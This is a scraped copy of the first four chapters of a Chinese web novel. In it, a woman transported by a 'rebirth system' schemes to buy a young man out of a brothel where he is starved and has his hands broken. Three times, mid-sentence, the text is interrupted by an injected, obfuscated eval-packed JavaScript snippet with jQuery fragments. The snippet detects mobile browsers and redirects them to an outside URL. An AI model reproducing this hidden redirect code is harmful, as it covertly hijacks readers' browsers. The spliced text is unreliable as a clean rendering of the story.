《反派他要攻略我?》
1. 第 1 章
【世界已成,每个人都有独立人格,安排你穿到任何人身上都不合适。】
乔瑢闭着眼,系统见她没什么反应,试探性问道:“你还醒着吗?你就不好奇你现在的身体?”
“好奇。”话是这么说着,可是乔瑢的眼睛依旧未睁开半分,敷衍得有些明显。
乔瑢不是它服务过的第一个任务玩家,这么淡定的还是头一回见。系统反倒有些好奇了,毕竟她现实世界的身体已经病入膏肓,卧床不起。如今有了好的身体,她怎么不兴奋,不应该激动地跳起来吗?
【滴——世界加载完成,目前位置阳城天郸镇。请玩家做好准备,系统将发布第一个任务。】
突然的光亮让乔瑢有些不适应,睁眼的同时肩膀还被撞了一下,紧接着便感觉自己随着人流被迫往前走。人声嘈杂,城镇气息一拥而来,系统的声音清晰明了。
【第一个任务:救下《从摆摊开始做起》黑化版反派男配祁归青。】
乔瑢半眯着眼跟着人群往前,耳边是系统有条不紊地介绍关于祁归青的剧情,不过她没在听。
快日落西山的时辰,乔瑢面前的是天郸镇最大的青楼——寻香楼。楼里分为两馆,群芳馆和象姑馆,男女通吃。此刻外墙上的灯笼被楼里的伙计一一点亮,雕花大门敞开,客流如云,好不热闹。
男男女女皆是有钱人打扮,不管是巨贾贵妇、达官贵人还是文人墨客,没银子恐怕连大门都不敢进。唯独乔瑢一身朴素,难免会有人好奇注视。乔瑢不管,毫不犹豫左转踏进了象姑馆。夹杂着酒香与脂粉香扑面而来,映入眼帘的是正中的圆型舞台,三面楼阁往上正好四层。下两层围栏里坐着客人,桌上摆着美酒佳肴,其余两楼层层轻纱之下男妓的身姿若隐若现。
“听说今日有新人露相,在哪儿呢?我怎么没瞧见。”其中一位贵妇对结伴而来的好友说着,好友不停地摇着团扇,指着周围一圈道:“哪能让你这么轻易就瞧见了,你看看这些人不就是为了看新人。说定新人不如旧人,我还是去找我那相好的吧,你慢慢看慢慢挑。”
“要不我也走吧,这里实在没法待,味道怪重的,也不知道进了什么人。”贵妇说着嫌弃地用团扇挡着鼻尖,正好与乔瑢对上了眼。乔瑢朝她们笑了笑,却收到两个白眼,等二人离开后立马占了她们的位置。
迟迟不见新人,一楼不少有钱人待不住去了包厢,剩下的大都是来看热闹的,且人越来越多,乔瑢还在不断地努力朝舞台靠近,试图挤到最里边。
一声锣响,场上瞬时静了下来,所有人的目光都聚到锣响处,正是四楼看台。
寻香楼老板椿娘垂着眼往下瞧,有人小声耳语:“开始了开始了。”有人则大声喊道:“你这老鸨,吓我一跳,是不是新人来了,别藏着了,快些让他出来。”
乔瑢仰着脖子,她视力尚好,椿娘身着大红衣裳,同样染着红指甲的手握着团扇,笑眯眯地看着众人。轻纱后面的确有一个男子,似乎站都站不稳,被两个人搀扶着。
昏暗的地下房间,一个五官精致的男子侧躺在床上,若不是胸口有起伏,仿若一具死尸。
“晓莺。”
椿娘坐到床边肆无忌惮地打量着,皮肤够白,面容够美,她十分满意打造的作品。如今到了展示的时候,她既兴奋又激动。只是这人的脾气差,表情难看,椿娘的嘴角也压下来。“早与你说过,今日是什么日子,若今日得罪了他们,往后定没你好果子吃。”
昨日晓莺就反抗得厉害,椿娘就断了他吃食,连口水都没给他喝过,今日怕是没力气闹了。
床上男子坐了起来,垂着头一言不发。
“你这些年逃过、绝食、被打,难道还没想明白吗?你约莫十岁来到我这,我养你八年,总该回报点我什么吧。”椿娘极有耐心,她手段多得是,晓莺不说话她也不在意,继续道:“留着力气待会儿说也行。”
椿娘一招手便有两个手下进来,一人一边箍住胳膊将人架了出去。
晓莺没有一丝反抗,这是他第一次走出地窖。这一路走来周围陌生得很,他只觉得越来越绝望。
又是一声锣响。
估摸着差不多,椿娘示意手下将人扶到前头。晓莺的面貌暴露在众人眼前,只安静了一瞬就又嘈杂起来。男子的确有一张让人移不开眼的容颜,肤色苍白如纸,长发如墨,只远远看着也能知他姿色不凡。
晓莺将楼下每个人的嘴脸看得清清楚楚,耳边叽叽喳喳,男男女女的声音让人恶心到极点。
乔瑢只看了一眼,目光便落在离自己一步之遥的舞台上。这是舞姬平日跳舞弹琴的地方,她一脚便能跨上去,倒是不麻烦。
已经有人开始迫不及待地出价,喊价声此起彼伏,乔瑢听出刚刚见过的贵妇也在出价。
忽然一阵喧哗,原来是今日露面的新人不知何时倚在了围栏边。椿娘示意手下:“扶着点。”可人一靠近就被晓莺拂开,椿娘见此也没在意,这楼里到处都是她的人,他想逃除非长出翅膀来。
乔瑢不再左顾右盼,开始聚精会神地盯着上方,接下来便是等。
最终尘埃落定,价高者得,是一位戴着帷帽的贵妇,以一千两成交。馆里的规矩,当场将银钱由人送上四楼,交到被拍者手中。
那可是一千两,有不少来看热闹的人紧紧盯着那小厮将钱送上四楼,恐怕这辈子就这一次眼福。
晓莺盯着手中托盘里的银票,脚底生寒,四肢僵硬,胃里翻涌几乎要吐出来。周围人再说什么他已听不见,连眼前都黑了下来。从今天起,往后的日子便是地狱也不为过。
晓莺绝望地摸索着向前伸出手,突然将托盘里的一打银票尽数撒出去。顿时一楼人声鼎沸,场面混乱不堪。随后晓莺用尽全身力气翻越围栏,趁所有人不注意从四楼一跃而下。
与此同时,乔瑢目光一定,终于来了。
……
“你们是吃白饭的吗?连个人都看不住,留你们有什么用,真是气死我了。大夫去请了没有……”
听着门外椿娘的声音,乔瑢的思绪回到刚刚。男配跳楼时撒出去千两银票,人群轰动争抢时,背后被人撞了一下,她趁势往前一步跨上舞台,正好站在了男配掉下来的位置。乔瑢不出意外地被砸晕了,昏迷前耳边是馆内各种尖叫声。
椿娘推门进来时乔瑢正好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156619|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睁眼,椿娘脸上的担忧散了些,立马上前关切道:“姑娘你醒了,可还有哪儿不舒服?”
乔瑢问道:“他呢?”
“他命大砸到姑娘你,人还活着,请问姑娘府上哪里?”
椿娘一脸逢迎,乔瑢便知她误会了什么,于是道:“初到此地。”多说多错,剩下的交由她自己去想象吧。
果然,椿娘并没有怀疑,乔瑢顺势道:“既然人还活着带我去看看是哪个不长眼的。”见椿娘有些犹豫,乔瑢神情一凝,捂着肩膀表情作痛苦状。
乔瑢没想到在这馆内居然还有地窖,走下石阶,有一道铁栏门,开了锁后还要再开锁再进门,重刑犯也不过如此吧。房间内倒不是她想的那般不堪,甚至布置典雅,琴棋书桌都有。蜡烛、煤油灯点了不少,昏暗了些,只有一处四方天窗透进来些许阳光。
一名男子垂着头靠坐在床边,披散着黑发挡住大半面容,看上去毫无生气。椿娘咳了一声,唤了声:“晓莺。”男子似乎有了反应,微微抬了下巴,整个人却抖了起来。
乔瑢围着他绕了半圈,装模作样托着下巴故作思索,“模样的确不错,气色有些差,不如远远看着有姿色。”
椿娘摸不清她的心思,“既然人已经看了,大夫估摸着也到了,不如姑娘跟我去让大夫瞧瞧有无大碍?”
“不急。”乔瑢扭扭肩膀,她倒没有完全作假,这么一砸身上是真的疼。她道:“现下有一件更重要的事。”
椿娘凑过来:“什么事?”
乔瑢看着她的眼睛,伸手指向男子:“我要赎他。”
话音刚落,仿若死人的晓莺,呆滞的目光终于有了些许清醒。他朝着声音看去,一个披头散发,看起来奇奇怪怪的女子,说要赎他,他更是一阵绝望,问苍天他刚刚为什么没摔死。
椿娘略松了一口气,重新开始打量起眼前的女子,在楼里被她的人砸晕,醒来也没有兴师问罪。看上去并无大碍,或许就是个不谙世事的小姑娘,这么一想她的心倒宽了。
“你初来此地不知道我这里的规矩,哪有人一个客人没接就被赎出去的。更何况晓莺的初夜已被人买了去,若是此刻赎他不符和规矩。”
“那一千两不是被他撒出去了吗?”
乔瑢的话又直接戳到椿娘的心窝,一提这个就来气。“钱没赚到一分,倒先散出去一千两,真是个讨债鬼!”椿娘伸出手指狠狠点晓莺的头,他竟朝一边倒去,双手耷拉在地上。
乔瑢眼尖,当即问道:“他这双手有什么问题吗?”
椿娘平缓呼吸,脸上仍是不悦,眼角透出一丝狠厉,道:“无规矩不成方圆,做错了事自然要受罚,我让人折断了他一双手。”
“那他岂不是贬值了。”乔瑢立马道。
椿娘瞬间觉得眼前一黑,胸口的气好像喘不上来。不过她好歹混了这么多年,很快便调整过来,对乔瑢说道:“我自会请最好的大夫医治,不会落下什么毛病。先不说我们是不让赎人,就说这两千两,姑娘你可出得起?”
乔瑢一听这个赎金,倒吸一口凉气,看了眼椿娘,又看看地上的人,站起来,转身就走一气呵成。“打扰了。”
2. 第 2 章
“人走了,别看了。这次算你命大,从那么高摔下来都没死成。下回要是还敢,除非你死透了,不然就给我老老实实接客。”椿娘这次是真气着了,性情刚烈又如何,他这叫不识时务。“给我老实点别起歪心思,明日再来看你。”
两道锁落下,地上躺着的男子依旧一动不动。
【小感,我们总共有多少钱?】
系统:【重生系统为每个玩家准备了五百两,我是系统,小感只是我的代号,请玩家称呼我为系统。】
椿娘还遣人将乔瑢客客气气送出寻香楼,街市灯火通明,她没在古代生活过也知道两千两多贵,再如何也凑不出这么多钱。
系统:【你这就走了,不救他了?】
乔瑢熟练地穿过街道,几个乞丐拿个破碗正准备回栖身之所,目光在他们之间搜寻着。“我不是已经救过他了,他没有摔断腿,还活得好好的。再说,那可是两千两,不是两百块。小感,你觉得我现在回去,再找那个姐姐打个对折再打个对折,能行不?”
系统:【大概率你会被轰出来,还有系统很智能,你想蒙混过去是不行的。】
乔瑢笑了笑,正好要找的人出现在视野里,快步跟了上去。那人越走越偏僻,越走越快,他跑她追,乔瑢终于拍上他肩膀。“小虎子!”
“哎呀我爹呀!”小虎子三魂吓掉了两魂,差点一屁股坐到地上。“你谁啊?你追我干什么。”
乔瑢不以为意,反而步步逼近,道:“那你跑什么?没做亏心事,你怕什么。”
小虎子一听脸色更白了,支支吾吾道:“什么亏心事,我没有。”
乔瑢手臂环抱胸口,缓缓吐出一个地名:“西山土地庙。”
一听这个地方,小虎子魂彻底没了,立马去扯乔瑢裤腿,卑微惶恐道:“姑奶奶你怎么知道的?求你别说出去。”
前几日小虎子沿街乞讨时碰见一富家小孩儿,一眼便瞧见他腰间鼓囊囊的荷包,见他身边没跟着人,顿时动了心思。以帮他回家为由,将人骗到西山土地庙,拿了他荷包,将小孩儿一人丢在庙里。第二日小孩儿家人在庙中找到他时,浑身发烫昏迷着。等小孩儿醒过来也只问出有这么一个人,其余全都不记得。家中只好贴出告示,只要有人能提供线索,赏银一百两。
乔瑢盯着小虎子,笑得温柔可亲,道:“那可是一百两啊。”
“只要你别说出去,我给你当牛做马,你让我做什么就做什么,行不行。”小虎子哪顾得其他,若那家人找到他,他不死也残。
“行啊。”乔瑢答应得爽快,“你先听我跟你说一个故事。”
当天晚上小虎子将最好最干净的破庙让给了乔瑢,他则忙活一晚上,他哪敢睡,能不能活命就在这次了。
第二日,天郸镇突然流传起一个流言。
八年前,一对夫妇带着一个十岁左右的男童来到天郸镇。三人皆皮肤雪白,容貌绝美。忽然有一天,发现夫妇死在家中,尸身却毫无异样。不久后,人们又发现常常与他们一家有过接触的,皮肤也慢慢变得像他们一样,苍白如雪,后来也莫名其妙死于家中。至于那个男童却在父母去世后不见踪影。人们都说,他们一家三口被诅咒了,凡事与他们扯上关系也会被诅咒而死。也有人不信诅咒之言,说是他们一家得了怪病,那是被他们染上怪病才死掉的。
与此同时,八年前消失的那个男童出现在寻香楼的消息很快传开。那日不少在寻香楼看热闹的百姓纷纷出来八卦,说起那天看见的事。
这事越传越快,终于是到了椿娘耳朵里。那日拍下第一夜的贵妇将晓莺退了,刚还回去一千两的椿娘摔了一个珍贵花瓶,将身边的人全都赶出房间,叫骂道:“真是赔钱货,我这么费心思把他养大,没想到砸手里了。去给他送饭,别叫他死在我这了。”
系统:【这个传言……】
乔瑢:【不是真的,是我编的,编的还可以吧。】
系统:【不愧是有名制片人。】
乔瑢不否认,她刚刚请求系统帮忙,要来几个古风发夹和一支木簪子,自己动手盘了一个发型,不至于像昨天那样披头散发,毕竟今天是要去谈生意。
白日里的寻香楼有些冷清,乔瑢特意等了半日,确认这些流言传到椿娘耳中,未时才过去。
“姑娘要想消遣,酉时再过来即可。”椿娘有些头痛,不想再应付这个不懂规矩的外来客。
乔瑢见她这副模样心中就有底了,她叫住椿娘:“今日还是那句话,我要赎他。”
椿娘抬眼再次看向乔瑢,不由地将今日的传言与眼前这个姑娘联系在一起,道:“莫不是今日的传言与你有关,为的就是替晓莺赎身?”
乔瑢当然不承认,她面上无辜,“什么传言?我昨日也是第一次见晓莺,根本不认识他,怎么会去为他传些有的没的。”
椿娘仔细思量过后,将这件事与眼前人联系在一起,的确有一些牵强。本来不想轻易放走晓莺,如今若是能将他出手,说不定也不是坏事。“你银钱带够了?”
乔瑢赶忙点头,椿娘终于松了口,她便再次要求去看看人。
还是那个地窖,少了些新奇,进了门乔瑢自来熟般选了个椅子坐。依旧是昨天走时的位置,他瘫坐在地上靠着床,唯一不同的是他被穿上了女装。粉色的裙装衬得他肤色更白,再抬眼时两个人猝不及防撞到一起,那是一双空洞冷淡的眼睛。
“姑娘怎么称呼?”椿娘站在门口,似乎不愿意离得太近。
“姓乔。”
“乔姑娘,若你付清两千两,晓莺的身契就是你的,他就随你处置了。”椿娘面上的阴霾散了些,心中再不甘愿也无法。
那两千两着实骇人,乔瑢骨子里的砍价基因立刻觉醒,视线落在男配身上。目光在他身上一寸一寸扫过,不放过一个角落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156620|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,似要找出还价的原由,可惜这个人从头发丝到指尖都是完美的,
若不是确定衣裳还穿在身上,他还以为自己被剥光了。今天被强迫换了女装,挣扎时领口有些散开,他想理一理保存一些体面,可双手却像断了头的兰花一般耷拉在身侧,一动便是锥心的刺痛。
“他这双手都这样了,断了不值这个价吧。”乔瑢站起身走到晓莺身边,指了指他的手,又指着他的脸道:“还有这气色这么差,该不会活不了多久吧。”
椿娘没办法只好上前用团扇托起男主的断手,解释道:“不打紧,你看外皮毫无损伤,连个印子都不会留,我会让人请最好的大夫,保证交到你手上是完好无损的。”
晓莺痛得五官扭成一团,乔瑢轻轻将椿娘的扇子推开,绕过他的手一把抓在了他膝盖骨上。
“按照你们这个惩罚人的方式,这膝盖还是好的吗?腿断了几回了?不是我说,残次品要是这个价是不是过分了点?”
一听她这么说,椿娘急了,做生意还是讲究诚信,“别胡说,他这腿可没断过。”
乔瑢假装不信,继续说道:“你让人打断了再让大夫给接上,我又不知道,是不是?”
椿娘:“姑娘,这我还真不诓你,不信你问问他自己,我有没有打断过他的腿。”
乔瑢还是不信,“他人还在你这,想必也不敢说的,等我钱一付,我找谁说理去。”
椿娘没想到小姑娘想得挺多,干脆双手一摊,“那你要怎么样?”
“姐姐,打个折呗?”乔瑢笑得眼睛眯起来,看起来和善可亲。
椿娘这下真的好像失去了所有力气,妥协道:“你开个价。”
“五百两。”
椿娘差点一口气没上来,她掏了耳朵怀疑自己听错,“姑奶奶,你认真的吗?”
“认真啊,我是真看上他了。”乔瑢看上去真诚又天真,“我的全部积蓄都用来赎他,现下银钱有了,就差您点头了。”
“我点什么头!”椿娘气急,她就不该在这个外来小姑娘身上下功夫。她现在真是眼前一黑,在房间内来回走动,“我花钱雇人教他读书识字、琴棋书画都不止五百两,更何况我养他八年,难道叫我亏本不成?”
“这样啊……”见此情景,乔瑢知道椿娘怕是没那么容易松口,决定以退为进,“我只有这么多,既如此,我还是让给别人吧,打扰您了。”
“送客。”
乔瑢临走时背后传来一声极轻的笑,随后便是椿娘充满怒意的声音,“你还敢笑,腿也不想要了是吧。”乔瑢没有回头,时辰还早,她得抓紧安排下一步。
系统:【我都替你捏把汗,你真能说出口。】
乔瑢理理裙摆,昂首挺胸地从寻香楼出来,她既然敢说就不怕被赶,再说她心中已有了新计划。【我说了,要打对折再打对折,看来还得再下一剂猛药才行,去找小虎子。】
3. 第 3 章
今天依旧在没人的破庙中歇息,斑驳的墙壁一模全是灰,乔瑢随地捡起一根稻草把玩,看上去悠然自得。
系统:【今天晚上不去寻香楼了?】
乔瑢:【去了也是白去,而且会让他们觉得咱们非要那晓莺不可。事儿我已经让小虎子去办了,先晾一晾,事半功倍。】
系统:【你就不怕今天晚上椿娘把他推了出去。】
乔瑢:【祁归青的性子我清楚,他只要不愿意,总会有办法的,他有脑子。】
过了一会儿,系统那边才传来电子音:【你是我见过的最好服务的玩家,】
乔瑢心想,这才刚开始,下定论有点早,但她还是回道:【恐怕以后我也是你遇到的最好的玩家。】
乔瑢累了就躺在稻草上,双手放在饥肠辘辘的胃上。
系统;【你的身体是我们总系统根据你现实世界的模样所创造的非真人模型,虽然不会死亡,但五感相通,玩家需注意。】
乔瑢勾起嘴角:【小感,谢谢你。】
她本是胃癌晚期,生活不能自理,长期卧床。在此之前,她二十岁就是巨人影视公司创始人,总制片人,随后出品电视剧,不断担任多部电视剧制片人。乔瑢赚了很多钱,但她不止想赚钱,还要成为顶级制片人。可是一切随着确诊胃癌戛然而止,陷入绝望。但又天无绝人之路,重生系统给了她唯一的希望。
系统那边再无回音,又过了很久,乔瑢伴着蝉鸣渐渐睡着。
……
“真是煞星、煞星!”椿娘嘴唇发白,看上有些病了。楼里请了大夫过来,她也不看,就这么强撑着。椿娘着实想不通,当年怎么就买下这个祸害的。
一个十岁的男娃儿,长得白白净净,五官俊秀,却紧闭双眼伏在一个老妇人背上。那老妇人哭诉家中困难,卖掉此子求生。椿娘大喜,她被这俊俏模样迷了去,想的是日后如何如何为她赚钱。老妇人竟然就以十两银子卖她,简直捡了个大便宜。那老妇人收了钱,没等男娃醒来便匆匆离去。
椿娘想着八年前的种种,愈发觉得传言可信,晓莺莫不是被那老妇人偷拐的。
昨晚本想将换好女装的晓莺带出去接客,女客虽出手大方,但也不是什么人都吃得下。男客就不一样了,为了寻欢,什么样猎奇的人物都要尝一尝。不管如何,晓莺不能就此砸手里。
万万没想到,酉时椿娘让人去带晓莺出房,却带回一个晴天霹雳的消息。
原来晚饭时晓莺摔碎了饭碗,用碎片划伤了脸。
椿娘一听当即就晕了一次,脸对他们来说便是第一重要。她刚请大夫给晓莺接了手,早知道就让他那双手废着。
客是接不了,椿娘倒是想直接把他扔出寻香楼去,可是她八年心血打水漂实在是不甘心,便又想起乔瑢来。“来人,你去打听打听那位乔姑娘。”
必然是查不到乔瑢什么,倒是楼里有人病了。椿娘一得知便如惊弓之鸟,忙不迭问起病因,那边说是小风寒,可椿娘还是心慌。后又听说有几个拍卖那日来过客人回去就病了,更加觉得晓莺不能留了。
华灯初照,一条波光粼粼的长河串起东街一列商铺,名贵车马往来不绝,喧嚣热闹。
乔瑢不紧不慢地逛着街,吹着初夏的微风,完全像个当地人一般,看着琳琅满目的商品,只可惜一分也不能花。
等她慢悠悠逛到寻香楼时已快戌时,她像个寻常客人一样走进象姑馆,在一楼找了位置坐下,喝茶看舞姬跳舞。
一盏茶的功夫乔瑢就被小厮请上了三楼包厢,毫不意外地再次见到了椿娘。与第一次见相比,椿娘沧桑了许多。
罪魁祸首乔瑢一脸天真,明知椿娘为何找过来,却还是自顾自说起其他的,“老板找我有事吗?我今日是来消遣的,我喜欢听曲,您给我安排一个会弹琴的。”
椿娘端起茶杯准备说辞,茶水入口无味又放下茶杯,试探地问道:“你不是看上晓莺了吗?”
“那我也不是非他不可呀,昨日回去后突然觉得他也没什么特别的,而且我还听到了一些关于他的传言,不知道真假。”乔瑢抿了口茶,包厢的茶水顺滑如绸,比一楼的好喝许多。
椿娘顿时心凉了半截,越拖就越出不了手,乔瑢是她现在唯一的人选,她不能就此放弃,继续劝着:“既是传言那必然做不得真,昨日你走后我也想了想,晓莺不愿接客我头疼得很,若是被人赎回去,我也省事,两全其美。”
乔瑢不打算拆穿她,问道:“所以您是同意五百两赎身钱了?”
椿娘眉头一皱,还在做最后的挣扎,试图与乔瑢商量,“你看一千两可行,身契和人我随时可交,只要你点头。”椿娘期待地看着乔瑢。
“可是我只有五百两,您还是给我找一个会弹琴的吧。”乔瑢一步不让,若是她有足够的银钱,何必弯弯绕绕做这么多。
“晓莺也会弹琴,琴棋书画样样精通,你将他赎回家,让他专为你一人弹琴岂不妙哉。”椿娘的嘴唇愈发苍白,像随时都可能晕过去。乔瑢心软了,椿娘一个女子在外做生意劳心劳力不容易,便临时决定不逼她这么紧。
“您说得有道理,可是一千两我实在拿不出。不过买卖不成仁义在,您先坐下喝点茶,我看你脸色有些茶。”
椿娘的确脑袋发晕,入口的茶是何滋味不知道,但听乔瑢这么一说,渐渐放松下来。想起自己让人去打听却什么也没打听到,于是便问道:“乔姑娘从哪儿来,如今住在何处,可还习惯?”
乔瑢从容回道:“北京人士,现住在镇外乡下,的确有些不习惯。”
“北京是何处,怎么从未听过?”椿娘问。
“在遥远的东方,因一些事情不得不搬离。”
椿娘了然,目光落在乔瑢的衣着上,“难怪看乔姑娘穿着打扮与我们不同,”
乔瑢趁机转移注意,再问下去,她可不会解释遥远的东方是如何到这来的。“对啊,你看我这衣裳料子。”她抬起胳膊,示意椿娘摸一摸,“我敢说整个阳城都找不到一模一样的。”
当然找不到,系统出品,古代的款式现代的布料。
椿娘竟然真的上手摸了摸,不过没再多说什么,看上去似乎缓过来一些。乔瑢也准备告辞,虽然计划延迟,但最终结果她势在必得。
“等一下。”椿娘原本紧抿着唇,终于是松了口,“五百两,晓莺你赎走吧。”
这个价钱椿娘不满意,但她还是主动提出验货后交易。
乔瑢开始不明白椿娘用意,见到晓莺后,才知道他将自己的脸划伤了,他的确聪明,这也是个好办法,阴差阳错帮了她一把,不然椿娘不可能松口。
“已经上过药,至于后面会不会留疤……”椿娘只知道,她是生意人,脸上的疤再淡,在这寻香楼也失去了价值。
男配脸上会不会留疤,乔瑢根本不在意,但装还是要装的,她皱着眉说道:“是有碍观瞻,不过我看伤口不深那就不打紧。”
听她这么说,椿娘一颗心终于归位,怕她反悔似的立马命人取来身契交到乔瑢手中,她拿了五百两银票,不愿再看晓莺一眼,只侧着身子对他道:“从今以后你就是乔姑娘的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156621|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“跟我走吧。”
寻香楼最热闹的时候,灯火通明,歌舞不绝。在象姑馆一个女子领着一个小官并不稀奇,可当中却有人认出晓莺,不仅敢跳楼还与近日的传言有关,那就要多看上几眼议论上几句。
“他脸上怎么有个伤疤?”
“这是那位姑娘给他赎身了?老鸨怎么舍得……”
“怎么有人赎他?这几日他的传言你们听了吗?”
“什么传言,我怎么不知,说来听听……”
乔瑢走出寻香楼停在门口,身侧的祁归青安静地立着,他个子很高,身形消瘦。女装穿在他身上略显僵硬,不过远看之下,的确有点雌雄难辨。夜色下,他雪白的脸颊上一道凝固的血线分外清晰。他此刻像个无知无觉的行尸走肉,尤其那双空洞的眼睛,充满了死气。
乔瑢冷哼一声,不再看他,走入人群,继续沿着街道往东走。
祁归青却因此抬眼看向她,要不是这个女子突然出现,那日他摔下去死了也好,不死也残,寻香楼必会舍弃了他,那也好过这地狱里受辱。
可惜他没死也没残,醒来后她又要赎他,他双手刚被折断,疼得晕晕沉沉,竟然真的产生了希望,没想到她听到两千两转身就走。后来又当着他的面与老鸨砍价,一个“残次品”到底有什么值得这个女子几次都要赎他。
一路的陌生目光让祁归青难以适应,他甚至能听到他们对自己的议论。他过了八年暗无天日的生活,见过的人屈指可数。以这样狼狈的模样重见天日,究竟是好还是惩罚,若是惩罚,他做错了什么呢。
他不知道眼前的女子要去往何处,只知道椿娘唤她乔姑娘,或许跟她回家,又或者将自己带到别处再卖掉。不可以,他现在已经离开了象姑馆,没有那些强壮的小厮下人,他还有什么怕的。
祁归青的目光落在面前清瘦的背影上,他差点忘了,他是男子。趁她毫无防备,从背后掐住脖子杀了她,再拿走身契,从此他便是自由的。
这个念头一旦产生便在心中疯狂肆虐,他垂着头双手握紧,问自己还在等什么,此时正走到偏僻处,再不动手就错失良机了。
【滴……任务完成!奖励无,积分+10,请玩家等待下次任务发布。】
祁归青猛地抬头,什么声音,谁在说话。他四处张望,确定此处只有他们二人。走在前面的女子也突然停下脚步转身望着他,一阵微风吹过,她开口说了他们二人之间的第一句话:“我叫乔瑢,你呢?”
祁归青不知道自己站了多久,等回过神,像是见鬼般背后全是冷汗,不知她为何明知故问,只能强撑着回答:“晓莺。”
乔瑢却是勾起嘴角,不咸不淡道:“晓莺是正经名字吗。”
祁归青脸上的表情凝住,遥远的记忆突然涌上心头,她说得对,他原本有名有姓,是他自己忘了。
乔瑢等了好一会儿,才从他口中等来三个字:“祁归青。”陌生、遥远又苦涩,他没想到还有机会说出这个名字。
夜色越来越浓,两人之间安静地连对方呼吸都听不见,只有木轴发出的吱呀呻.吟由远及近越发清晰。过了一会儿,一辆牛车自暗处驶来,小虎子牵着牛满头大汗,朝乔瑢挥了挥手。
乔瑢打量着牛车,小虎子误以为她是不满意,擦了把脸道:“我废了好大功夫才借到的,天亮就得还回去。”
乔瑢看了小虎子一眼,二话没说直接坐在木板上。
“姑娘也上车吧。”小虎子直愣愣地看着这个高大的女子,一点也没察觉出他的话有什么不对劲。
4. 第 4 章
祁归青顾不上他的称呼,此刻想的全是,他要不要跟着乔瑢。方才只有两人,他已经失去最好的机会。刚刚听到的奇怪声音让他很在意,他想弄清楚以及乔瑢为何要赎他,这个女子到底还有什么秘密。
三人一车一路无话,约莫半个时辰后到达一村口,乔瑢喊停,对小虎子说道:“先跟我来再去还车。”
“好嘞。”小虎子将牛拴在树上,“你家在哪儿呢?”
乔瑢转身一指,两人便跟着她穿过一条小土路,上了一个坡,出现一间茅草屋。
“你这还不如我那破庙呢……”小虎子说着声音低了下去,后知后觉,生怕惹了乔瑢生气。
乔瑢当作没听到,顾不得脏一屁股坐在了屋里唯一的床板上,床板立刻发出吱嘎一声。幸好这床板直接铺在地上,不然她这一坐直接要塌。
乔瑢微微调整身子,看向杵在一旁的小虎子:“你有地方去吗?”
“不用管我,我去还牛车。”小虎子十分自觉,似乎并不想留在这。
“有什么事就来这里找我,不过没有特别重要的尽量别来,有事我会去找你。”
小虎子自从被她抓了把柄,虽说是甘愿当起了她的狗腿子,但巴不得不来找他,主动找乔瑢更是不可能。“那两位姐姐先休息,我先走了。”
小虎子拔腿就溜,走进黑暗里就没了影。乔瑢也累了,闭目靠在土墙上,似乎完全忘了这屋里还有一个人。
祁归青假装闭眼,自以为乔瑢一个手无缚鸡之力的女子,他不信她敢当着他这样一个不知底的人面真睡觉。既然她装,那他就陪着她装。
夏日天亮得早,天边刚露白乔瑢就醒了,祁归青就靠在她脚边的那面墙上。他睡得并不安稳,眉头皱着,两瓣唇紧紧咬着,单看长相确实是美人一个。
可这样的美色乔瑢见得多了,毫不留恋地收回目光,越过他走出茅草屋。
这间茅草屋荒废很久,黄土石头砌的墙早已开始往下掉渣。祁归青被小土块砸醒,意识还没回笼,不知自己是谁身在何处。直到看见床板空空,心中一惊,他竟然睡着连人是何时不见的都没察觉。
祁归青踉跄起身,忽然那扇破旧的木门从门外打开。初夏的晴阳铺下来,一张清亮的面容就这么闯入眼前。微湿的额发,水珠缓缓滑过脸颊,悬垂在下颌欲坠未坠,乔瑢伸手轻轻拂去。
“醒了就出来透透气。”
乔瑢的声音直接将祁归青拉回,他惊觉自己今日才看清她的容貌。不由地想起第一次见面,高楼之上,俯视之处皆是衣冠楚楚,只有她披散着发专心致志地不知在干什么。尽管他当时有些好奇,可那时觉得世间一切都与他无关了,心底只有一个声音:跳下去便可解脱。
祁归青跟着乔瑢走出茅草屋,眼前突然开阔起来,不曾见过的景色占据了他全部的目光。一眼过去,山岚沉静地立着,将聚在一处的村屋抱在怀里,安详平静。他好像变成了一阵风,落到屋脊搅动炊烟,无声的缠绕过后最终融合成一片云。
祁归青迷了眼,僵在原地失神,直到乔瑢问他:“想要身契吗?”
言外之意便是,想要自由吗?只有拿回自己的身契,他才不会被反复买卖,祁归青心想,他这样的人该需要吗?
“那就拿五百两来换,我就当做了一件好事。”乔瑢没等他回答自顾自说道,说着看到一个人影穿梭在乡间小路上。发现是通往竹林的方向,心中有了打算。
